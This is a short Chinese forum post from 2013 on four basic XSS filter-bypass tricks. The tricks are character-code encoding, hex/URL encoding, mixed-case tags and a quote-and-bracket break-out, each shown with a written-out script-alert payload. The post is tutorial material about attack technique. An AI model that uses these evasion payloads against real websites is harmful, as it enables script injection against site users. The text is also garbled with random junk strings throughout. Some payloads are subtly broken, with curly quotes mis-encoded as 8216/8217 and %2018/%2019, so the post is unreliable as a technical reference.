找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1959|回复: 0
打印 上一主题 下一主题

XSS 绕过技术

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:10:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
四种超级基础的绕过方法。! y0 h8 @# W) o3 r; f6 x
1.转换为ASCII码# p' h) E4 Z( E( {
例子:原脚本为<script>alert(‘I love F4ck’)</script >
9 C" c( ^; }4 w通过转换,变成:9 U+ t) {. k9 L8 N
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>
& ]4 ~2 t1 s( s: X4 E& l , @4 z! @" v5 R1 k
2.转换为HEX(十六进制)
5 R6 g* l( Z3 ^例子:原脚本为<script>alert(‘I love F4ck’)</script>0 ]% F2 @. T* j  V
通过转换,变成:6 }( V0 G! e8 g/ L! [
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e
9 e4 q  \. o5 \  _; v+ S7 N : Z# P; z; n$ _+ P: K$ B
3.转换脚本的大小写
5 l+ h0 T* G) P例子:原脚本为<script>alert(‘I love F4ck’)</script>3 ~+ f( b# |# a* B6 ^, H( T' k3 G* U
转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>+ Y$ h9 j$ H+ t& Y
" K9 o+ X  l- K8 \/ T7 i
4.增加闭合标记”>( K" J) ~7 W8 o! ?* ?. z& L
例子:原脚本为<script>alert(‘I love F4ck’)</script>
1 ^* e, u4 ]5 F4 y转换为:”><script>alert(‘I love F4ck’)</script>! C  j* V4 C1 ?. W( s9 u1 }; y
更详细绕过技术请参考此网页
5 k) |9 w! Z8 w3 Khttps://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet( o! z/ p5 @" N9 w# c+ D5 r! U

/ T# I6 [9 Z4 A转换工具使用的是火狐的 hackbar mozilla addon.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表